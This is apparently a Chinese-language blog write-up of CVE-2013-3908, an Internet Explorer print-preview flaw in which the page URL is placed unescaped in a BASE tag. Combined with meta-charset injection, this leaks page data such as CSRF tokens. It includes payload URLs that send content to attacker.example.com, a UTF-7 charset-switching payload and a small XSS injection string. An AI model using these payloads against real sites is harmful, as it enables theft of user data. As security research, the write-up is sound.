原文:http://masatokinugawa.l0.cm/2014/11/ie-printpreview-infoleak.html

问题1:

在IE9和以前的版本当中进行打印预览操作时,IE会取出原始页面的URL并将URL放到重新生成的html中的base标签的href属性里。
由于此处并没有对URL中的" <
>等符号进行任何的处理可导致信息泄漏.虽然打印预览界面中,是没办法执行JavaScript的,但是我们可以构造这样的URL:

http://vulnerabledoma.in/security/search?q=123'&"><img/src='http://attacker.example.com/

当受害者访问了我们特定页面并试图打印该页面时,从下面的部分开始

<BASE
HREF="http://vulnerabledoma.in/security/search?q=123'&amp;"><img/src='http://attacker.example.com/

直到单引号被闭合的部分(直到原始页面中原有的单引号出现)都将作为一个http请求被发送到受害者web server。泄露的可能会是csrf token或其它信息。(这个很看运气,不过应该算是很基本的scriptless攻击了吧)
该问题由于利用难度较高,所以被判断为小影响的漏洞,宣布会在IE9以后的版本进行修复(作为最终结果,微软最后还是宣布会在IE9以及之前的版本也进行修复)

问题2:

这部分除了原作者之外和我也有一点关系。因为之前在捣鼓字符集相关的安全问题时,发现了个比较诡异的现象。就是指定字符集的meta标签在什么样的场景下有效。让我们来看看一个有趣的场景:

<html>
<head>
<title>输出</title>
<meta charset=utf-8>
</head>
<body></body>
</html>

我们都知道有一些标签具有所谓的htmlencode功能,比如上述示例代码的title标签。如果我们想在此处进行跨站脚本攻击,就需要结束这个title标签,插入类似:
</title><img src=x onerror=alert('lol')>

但,如果我们插入的是meta tag会怎么样呢?

<html>
<head>
<title><meta charset=shift_jis></title>
<meta charset=utf-8>
</head>
<body></body>
</html>

当你在console里,输入document.characterSet时你会发现实际上当前页面的字符集已经变成了shift_jis(可在 firefox下进行测试)。如果加大测试场景你会发现不论是在script标签内,还是textarea这类的标签内,只要你插入的meta tag在前1024 byte之内(1024是SPEC上写的,但是实际测试只有980多byte),并且不存在什么response header中的设定,也没有在你插入的meta tag之前出现其它的meta tag对字符集进行过设定,你的meta tag都是有效的(具体的可以阅读浏览器的SPEC)。当时发现这个问题时,感觉十分的有趣但是由于并没有能发现很好的利用场景,就和@/fd联手做成了 一个xss挑战,希望别人也在看到这个之后研究一下会不会间接导致安全问题。这是当时出的xss challenge和相关的writeup:

http://kcal.pw/puzzle3.php
https://github.com/cure53/xss-challenge-wiki/wiki/Puzzle-3-on-kcal.pw

抱歉说了很多有的没的。回到原稿,MK也提出了类似的问题。

<html>
<head>
<meta test="<meta charset=big5>">
<script>
var x="<meta charset=koi8-r>";
</script>
<meta charset=utf-8>
</head>
<body>
<meta charset=iso-8859-1>
<button onclick="func()">charset is</button>
<script>
function func(){
alert(document.charset||document.characterSet);
}
</script>
</body>
</html>

上述html页面,最终的characterSet会是什么呢?答案是chrome和safari会选择utf-8.Firefox会选择KOI8-R,而IE会认为是Big5.所以本题中的CVE-2013-3908就是这两个问题的组合拳.

http://vulnerabledoma.in/security/search2?q=123'&<meta charset=utf-7>+ACIAPgA8A-img/src='http://attacker.example.com/ 
<!DOCTYPE HTML>
<!DOCTYPE html PUBLIC "" ""><HTML
__IE_DisplayURL="http://vulnerabledoma.in/security/search2?q=123'&amp;<meta charset=utf-7>+ACIAPgA8A-img/src='http://attacker.example.com/"><HEAD><META
content="IE=11.0000" http-equiv="X-UA-Compatible">
<META content="text/html; charset=iso-8859-1" http-equiv=Content-Type>
<BASE HREF="http://vulnerabledoma.in/security/search2?q=123'&amp;<meta
charset=utf-7>+ACIAPgA8A-img/src='http://attacker.example.com/"><STYLE> HTML { font-family : "Times New Roman" } </STYLE> <METAcharset="iso-8859-1"></HEAD> <BODY><P>LoginID:exmaple@example.com</P><FORM action=""method="get">SearchBox:<INPUT name="q" type="text" value="123'"> <INPUT type="submit"
value="submit">
</FORM></BODY></HTML>

回顾一下前面的知识,我们知道出现在神秘属性__IE_DisplayURL中的meta tag依旧会被解析,导致当前页面的字符集会被篡改成utf-7.这样一来即使在上报问题1给微软后,微软对URL输出部分进行了处理,也不能躲过字符集 被修改后通过没有<>的utf-7进行scriptless攻击的步伐。最后由于这个漏洞赶上了IE11的bug bounty活动,作者通过提交该问题获得了2200刀的奖励。

CVE-2013-3908 Internet Explorer打印预览功能可导致信息泄露的更多相关文章

  1. C#实现打印与打印预览功能

    C#实现打印与打印预览功能的思路及代码. 在windows应用程序中文档的打印是一项非常重要的功能,在以前一直是一个非常复杂的工作,Microsoft .Net Framework的打印功能都以组件的 ...

  2. C#实现打印与打印预览功能(转)

    在windows应用程序中文档的打印是一项非常重要的功能,在以前一直是一个非常复杂的工作,Microsoft .Net Framework的打印功能都以组件的方式提供,为程序员提供了很大的方便,但是这 ...

  3. JS页面打印预览功能

    点击按钮后就可以直接打印预览,并且隐藏了按钮,如果你不希望按钮显示,可以把那部分代码删除就可以了. <html><head><meta http-equiv=" ...

  4. Vue 打印预览功能

    需求有几种情况: 1.直接在HTML写页面,将页面上的东西用A4纸打印出来: 2.后台传回PDF文件,前台浏览器预览并打印: 3.后台做好要打印的,传回图片,如base64编码,前台浏览器 预览并打印 ...

  5. 怎么在MindManager中查看打印预览

    在MindManager2016思维导图中打印导图之前,可以先进行预览,MindManager和其他很多应用程序一样都带有打印预览功能,该功能提供了再次检查的机会,避免打印出错,MindManager ...

  6. 怎样改动 VC6.0 4.0 2010 打印预览界面上的文字

    前言:尽管早已下决心不再碰微软的东西,但手头的项目还得须要维护. 遇到问题还能解决. 问题由来: 之前的软件开发是基于中文环境开发的,建立项目的时候,选择了中文,为了方便客户使用.我们使用了静态编译的 ...

  7. 在Visual Studio 2019中开启预览功能

    在Visual Studio 2019 菜单 [工具] > [选项] > [环境] 下的预览功能页面焕然一新!我们介绍了预览功能页面,以便您可以轻松找到这些功能并能够控制其启用.新布局提供 ...

  8. .NET网页打印以及使用打印需要注意的事项(可能会引起VS崩溃的现象、打印预览后关闭功能不管用)

    这两天进行给网页添加打印.打印预览.页面设置的功能.遇到了以下几个问题 [1]在网上查找了一些打印方法,一开始还可以用,后来不知道动到了哪里,点击vs中拆分或者切换到另一个设计和源代码显示方式,就会引 ...

  9. javascript实现jsp页面的打印预览

    1.加载WebBrowser打印预览控件 <OBJECT classid="CLSID:8856F961-340A-11D0-A96B-00C04FD705A2" heigh ...

随机推荐

  1. iOS tableview 选中Cell后的背景颜色和文字颜色

    做下记录,备忘 改文字颜色其实是UILabel的属性,改背景颜色是cell的属性,都和tableview无关. cell.textLabel.textColor = BAR_COLOR; cell.t ...

  2. Java for LeetCode 203 Remove Linked List Elements

    Remove all elements from a linked list of integers that have value val. Example Given: 1 --> 2 -- ...

  3. codeforces A. Strange Addition 解题报告

    题目链接:http://codeforces.com/problemset/problem/305/A 题目意思:给出一个序列,需要从中选择一些数,这些数需要满足:任意的两个数中每一位至少有一个数满足 ...

  4. linux下文件压缩与解压操作

    对于刚刚接触Linux的人来说,一定会给Linux下一大堆各式各样的文件名给搞晕.别个不说,单单就压缩文件为例,我们知道在Windows下最常见的压缩文件就只有两种,一是,zip,另一个是.rap.可 ...

  5. 什么是网络爬虫(Spider) 程序

    Spider又叫WebCrawler或者Robot,是一个沿着链接漫游Web 文档集合的程序.它一般驻留在服务器上,通过给定的一些URL,利用HTTP等标准协议读取相应文档,然后以文档中包括的所有未访 ...

  6. 查看MySQL配置文件路径及相关配置

    [root@DB ~]# /usr/local/mysql/bin/mysqld --verbose --help |grep -A 1 'Default options' Default optio ...

  7. grep' \b\b'

    \b单词锁定符,如: '\bgrep\b'只匹配grep [root@86 ttf-arphic-uming-0.0.20050501]# cat /proc/diskstats 1 0 ram0 0 ...

  8. C# 读取本地图片 转存到其他盘符

    UpFileContent upfile = new UpFileContent(); upfile.StationImageName = "123.png"; FileStrea ...

  9. AltiumDesigner学习笔记(一)——创建工程与原理图文件

    一.创建工程与原理图文件 1.通过菜单创建PCB工程 (1)File - New - Project - PCB Project,即可在当前工作区创建新的PCB工程 (2)新建工程并不直接在硬盘中创建 ...

  10. python logging用法

    import logging logging.basicConfig(level=logging.DEBUG, format='%(asctime)s %(filename)s[line:%(line ...